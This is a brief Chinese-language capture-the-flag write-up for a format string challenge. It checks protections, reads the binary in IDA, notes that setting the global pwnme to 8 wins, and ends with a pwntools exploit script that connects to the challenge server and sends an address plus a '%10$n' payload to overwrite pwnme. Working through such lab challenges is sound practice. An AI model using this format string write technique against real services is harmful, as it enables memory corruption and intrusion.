查看程序保护
用IDA 打开
查看24行代码可知,通过修改全局变量pwnme = 8 则结束。
使用gdb 动态调试。
漏洞代码;
pwnme 地址,
exp:
from pwn import *
sh = remote('111.198.29.45',36640)
sh.recv()
sh.sendline('hacker')
sh.recv()
payload = p32(0x804a068) +'aaaa' +'%10$n'
sh.sendline(payload)
sh.interactive()